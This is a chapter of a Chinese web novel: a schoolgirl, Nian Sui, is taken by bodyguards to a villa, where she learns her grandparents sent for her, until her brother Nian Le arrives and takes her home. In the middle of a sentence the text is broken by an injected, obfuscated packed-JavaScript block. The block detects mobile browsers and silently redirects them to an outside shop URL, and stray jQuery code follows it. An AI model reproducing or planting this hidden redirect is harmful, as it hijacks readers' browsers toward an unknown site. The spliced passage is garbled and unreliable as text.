周五放学,对于困在学校里的学生来说简直就跟放大假似的,从校园里走出来的学生,每个人脸上都洋溢着笑脸。
可就在这一片欢声笑语的人群中,付江却是一副心事重重的样子。
拖着沉重的心情,付江不知不觉来到公交车站,正等着车来的付江,无意间抬眸,看见了正在马路对面的年穗。
看到本不该出现在这种地方的年穗,付江刚思索不过半秒,要乘坐的公交车就来了。
付江上了车,坐到就近的位置。
付江刚一坐下,烦心事就像不给人一丝空闲似的涌上来,原本平静的情绪渐渐烦躁起来。
付江把头往窗户上一靠,目光一斜,本想看看窗外景色分散一下自己的注意力,哪成想,却从这个思绪掉进了另一个思绪里。
付江看着窗户上倒影着自己的脸,他平视的目光渐渐往左上方移了去。
望着窗户上自己左眉眉尾若隐若现的倒影,沉闷的心情涌上付江的心头。
他撇过头不再看窗上的自己,却骤然瞄到马路对面走来几个穿黑色西装的人。
公交车缓缓开动,付江只看了眼被几个人塞进车里的年穗就把目光收了回来。
被人强塞进车里的年穗,此时双手正拿着两根淀粉肠。
遭人绑架一事,她也不是没料到,只是!到底是谁胆子这么大!居然光天化日之下绑人啊!!!
原主的人缘就这么差吗?
还是说,除了男主想要弄死她之外,还有其他人?
一想到原主还有其他仇人,年穗在原主的记忆里寻找与原主有仇的人。
发愣间隙,她手里的两根淀粉肠从热滋滋散发着香味变得皱巴巴,还软塌塌。
冷掉的淀粉肠跟刚出炉的相比,那可是天差地别啊。
年穗吸了吸鼻子。
要是自己待会真的死的话,请让我跟哥哥通一下电话吧。
哥哥真的对我很好啊。
因为害怕,年穗不知道时间过了多久,只知道,他们把她带到了一栋别墅里。
车一停,年穗就不自觉咽了咽口水,车门被人打开,她深吸了一口气走了出去。
年穗都已经做好接下来不管发生什么事的准备了,迎面却是一张慈祥和蔼的脸。
“哎呦,我们家的甜心啊,好久不见了吧。”
年穗被一个不认识的老奶奶抱着,正疑惑时,抬眸却看到脸上写着“闹脾气”的老爷爷,他手虽拿着拐杖,但是也不耽误他双手抱臂。
老爷爷目光原本是盯着穿着紫色旗袍的老奶奶,但对视上年穗后,那表情立马就变了,笑眯眯地看着年穗。
老爷爷突然的笑脸像是加了滤镜似的,年穗看着他的脸,总感觉脸旁边有着特效小花花。
能叫她甜心的,除了哥哥之外,那么就是亲人了?是爷爷奶奶吗?年穗心里想。
但是,好像有点说不通。
如果是爷爷奶奶,又怎么会叫人绑着自己呢?
为了试探自己想的是不是正确的,年穗开口喊道:“爷爷……奶奶?”
年穗这么一喊,两位老人像是定格了似的一动不动。
瞧着他们的反应,年穗立马明白自己想错了。
穿着旗袍的老奶奶正要说话,就被身后的老爷爷挤到了一边,老爷爷一脸笑盈盈地摸了摸年穗的头。
“乖。”
“嗯?你这么占他的便宜,就不怕他钻出来打你啊?”老奶奶提醒道。
“叫爷爷怎么了!!怎么了!!一定要叫外公这么生疏嘛!!甜心就不是我们家的了嘛!!”季善浩对自己妻子说的这句话很不满意。
云沫沫要不是见好久不见的外孙女在这,肯定一巴掌扇过去,毕竟他这么多年还是揪着这个不放,要是他还活着,两个人又会争个你死我活。
年穗听出来了,原来面前的两个老人是原主的外公外婆。
年穗也没有那么的慌张了,刚松一口气,却又觉得不对,她带着一丝疑问地问道:“外公外婆,要是你们想我的话,叫我一声不就好了嘛,怎么还叫人来到学校,把我给绑——带到这?”
“哎呦,宝贝,是被吓到了吗?”云沫沫想起刚一下车,脸色就有些苍白的年穗。
云沫沫保养极好的脸,满是关怀,她伸出手贴了贴年穗的额头:“是有点凉,先进屋吧。”
“不过你手上的是什么?”云沫沫从年穗下车时就注意到了,只是一直没找到合适的机会问。
“淀粉肠,很好吃——”还想说好吃的年穗,看着软塌塌的淀粉肠,瞬间好吃的话咽回肚子里去。
虽然年穗及时守住嘴,可云沫沫还是听到她说“很好吃”三个字。
望着卖相并不是很好的东西,云沫沫皱了皱眉头。
“别管什么淀不淀粉了,这么不好看的东西,赶紧把它丢掉吧,外公可是给你准备了超多你爱吃的东西,这玩意,”季善浩一把拿过年穗舍不得丢掉的淀粉肠。
他把淀粉肠交给身后的保镖,还让他快速处理掉。
年穗一边被推着走,一边恋恋不舍地多次回头看被拿去处理掉的淀粉肠。
我的爱啊……
到了二楼的客厅。
年穗才知道原来刚才那么宽敞明亮的地方,居然只是个车库,到二楼来,更是被堂皇的装饰看花了眼。
年穗被云沫沫按到了沙发上,面前茶几摆放着各种各样的水果,说是水果大宴也不为过。
太多都是自己喜欢吃的,年穗也不知道先吃哪一个好,正当她拿起叉子,叉住切片的香蕉时,二楼大门处陡然传来一阵急躁的脚步声。
年穗将香蕉塞进自己的嘴里,朝着脚步声的方向看去。
年乐黑着一张脸,风尘仆仆走了进来。
看到年乐的那一瞬间,年穗闷闷的情绪一下子晴朗了,没有一点拘束地喊道:“哥哥!!”
年乐看着活蹦乱跳,都还不知道怎么一回事的年穗,虽然很生气,因为自己打了这么久的电话,她都没接,现在还对自己嬉皮笑脸的。
“年乐啊——”年乐就这么从云
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677605|207551||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沫沫面前略过,正好打断云沫沫要说的话。
“年乐!!”季善浩生气地动了动自己的拐杖。
年乐把年穗拉到自己身边,似乎这样,他才能无所顾忌地说话。
“外公,你这次做的很过分!!”
季善浩被自己的外孙子这么一盯,把他盯得有些发虚,如此强大的气场,他也不是没见过,只是觉得这小子太小题大做了。
“我可是提前给你打过招呼的,”季善浩说。
年乐:“那我也提前给你说过了,不行!!我都说了不行为什么还要这么做?外公你现在是动摇了吗?如果是这样的话!那这次绝对是你最后一次见!”
季善浩:“我……我没有动摇,我是站在你这边的,孩子,太久没见到我们家甜心了,想见见不行嘛,说好的暑假让我们带带的。”
年乐看着要是自己不拿出证据,就会死不承认的外公:“说到这,那就来说说,外公这两个月里,你频繁地跟谁见面啊!!”
眼见对方知道了,季善浩声音变小了些:“她要见我……都是我的孩子,我还能真的老死不往来嘛。”
季善浩说完这句话,整个人像是老了好几岁,跟刚才那活力四射的人完全不一样。
云沫沫也是整个人提不起精神来了。
这突如其来的变化,年穗看得一愣一愣的,就在她目光看向外公外婆时,挡在她前面的年乐回头看着她,并说道:“怎么不接电话?”
“啊——”年穗语气长拉,她拉住年乐的衣服,“忘记说了,哥哥,我的手机坏了好几天了。”
年乐:“……”
想着待会可是要好好算年穗账的年乐,见自己妹妹一副傻乎乎样,他还能说什么呢。
年乐无奈地扶着额:“这种事情要早说。”
年穗见他张口音量却又不大,只听到像是念经的声音,她问道:“在说什么?”
年乐挡住脸的手移了移:“哥哥给你买新的。”
年穗点头要答应时,年乐又说:“走。”
“待会,年乐!!!”季善浩见年乐要把好不容易带来的年穗带走,立马从沙发上站了起来,“我知道——太晚了,今晚就在这里住下吧,我们两口子还想让年穗多住些天呢。”
“我是不会同意的!!!”年乐说。
年乐果断地不同意,季善浩也知道这话回应的是哪件事。
“你不同意,那就不同意吧,但,总得问下年穗的意见吧,”季善浩的目光落在年穗的身上。
年穗隐约知道他们在说些什么,她看了看太阳穴处因憋着怒气而一抽一抽的年乐,她用最温柔的声音说:“哥哥不同意的事,我是不会去做的。”
年穗此话一出,在场的三个人都骇然。
年穗的意思已经很明白了,年乐也不在此多逗留,拉着年穗就是往自己的车那边走去。
在他们走后,季善浩深吸了一口气才缓了过来,面对妻子的安抚,他说:“隔阂太深了,我们也尽到我们的能力了,这一切都是她自己作的。”